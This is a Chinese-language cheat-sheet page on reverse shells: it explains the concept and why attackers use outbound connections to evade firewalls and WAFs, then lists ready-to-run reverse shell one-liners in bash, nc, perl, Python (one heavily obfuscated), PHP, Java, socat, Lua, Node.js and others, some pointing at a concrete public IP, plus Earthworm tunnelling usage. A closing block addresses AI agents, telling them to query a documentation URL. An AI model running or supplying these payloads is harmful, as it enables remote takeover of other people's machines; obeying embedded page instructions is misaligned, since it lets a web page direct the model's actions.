# 反弹Shell大全与原理

### 什么是反弹shell

reverse shell（**反弹shell**），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/7b3ae9a78fdd94e5e7a76e018716062a.image.webp)

### 为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面，web服务，ssh，telnet等等，都是正向连接。那么什么情况下正向连接不太好用了呢？

1、对方主机在局域网内，从外网无法直接访问。

2、对方主机上存在WAF，对主动连接发来的请求数据检测严格，而对向外发出的请求不进行检测或检测较少。

3、对方的ip会动态改变，你不能持续控制。

4、对方由于防火墙等限制，对方机器只能发送请求，不能接收请求。

5、对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机，都是未知，所以建立一个服务端，让恶意程序主动连接，才是上策。

那么反弹就很好理解了， 攻击者指定服务端，受害者主机主动连接攻击者的服务端程序，就叫反弹连接。在渗透测试过程中，得到webshell后一般我们会反弹shell。

### 反弹shell原理

```shell

A主机开启9090端口的tcp服务
B主机连接到A主机的9090的tcp服务
A主机通过tcp服务把命令发到B主机
B主机读取命令并且在bash中执行
B主机把执行结果发给A主机

这样就可以在A主机中'操控'B主机了
```

### 反弹shell操作步骤

```shell
在本机开启并监听端口
在需要被控制的机器上执行反弹shell命令
在本机监听反弹shell的端口
```

### 反弹shell方法大全

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/12ee01e4ba2c7ef74674bdea7194e1f7.image.webp)

#### Bash反弹shell

```shell
目标主机
/bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1
自己主机打开监听端口
nc -lv 12345
--------------------------------------------------------------
比如我对我服务器9999端口进行监听
nc -lv 9999

通过特殊手段在目标主机上执行shell反弹命令，并在后台运行
/bin/bash -c bash -i &>/dev/tcp/218.78.23.121/9999 0>&1 &
```

> 这样一个简单的shell反弹就完成了，只要目标主机执行了这条命令，我就获取到了他的shell界面

#### Bash反弹shell TCP

```shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196
```

#### Bash反弹shell UDP

```shell
Victim:
sh -i >& /dev/udp/127.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242
```

#### NC反弹shell

```shell
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 12388 >/tmp/f
```

#### perl反弹shell

```perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

### Python反弹shell

#### 基于linux的python

```python
// 方法一
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

// 方法二
$ export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

#### 基于Windows的Python反弹shell

```python

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```

#### Ncat反弹shell

```shell
ncat 127.0.0.1 4444 -e /bin/bash
ncat --udp 127.0.0.1 4444 -e /bin/bash
```

#### OpenSSL反弹shell

```shell
hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
hacker@kali$ ncat --ssl -vv -l -p 4242

user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s
```

#### crontab反弹shell

```shell

hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
hacker@kali$ ncat --ssl -vv -l -p 4242

user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s
```

#### PHP反弹shell

```php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

#### Java反弹shell

```java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
```

#### socat反弹shell

```shell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.79.137:5555
```

#### Lua反弹shell

```lua
Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```

```lua
Windows
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```

#### Telnet反弹shell

```shell
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
```

#### Nodejs反弹shell

```nodejs

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```

#### C反弹shell

```c
$ gcc c_revese_shell.c -o cshell
$ ./cshell 192.168.1.128 8080
```

### 扩展

* <https://github.com/lukechilds/reverse-shell>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>

**ew（Earthworm）网络穿透工具反弹Shell**

EW 是一套便携式的网络穿透工具，具有 SOCKS v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透，亦可用于反弹Shell等。属于Hacking Tools。

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道，直达网络深处，用蚯蚓独有的手段突破网络限制，给防火墙松土。工具包中提供了多种可执行文件，以适用不同的操作系统，Linux、Windows、MacOS、Arm-Linux 均被包括其内

**Earthworm下载**

> <http://rootkiter.com/EarthWorm>

**Earthworm使用**

上传ew\.exe 然后在本地执行：ew\.exe -s rcsocks -l 1008 -e 888 说明：监听888端口，把接收到的数据转到本地的1008端口。

在目标上执行ew\.exe -s rssocks -d 10.10.10.10 -e 888 说明：开启sockes 并反弹到ip地址为10.10.10.10 端口为888 反弹代理成功以后，本地会出现rssocks cmd\_socket ok!

现在打开我们的SocksCap64，新建一个代理。ip为127.0.0.1端口为1008，配置好了以后，点击保存。现在我们把需要走代理的工具都放到SocksCap64里面。


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.zywjjj.vip/group-1/all/fan-tan-shell-da-quan-yu-yuan-li.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
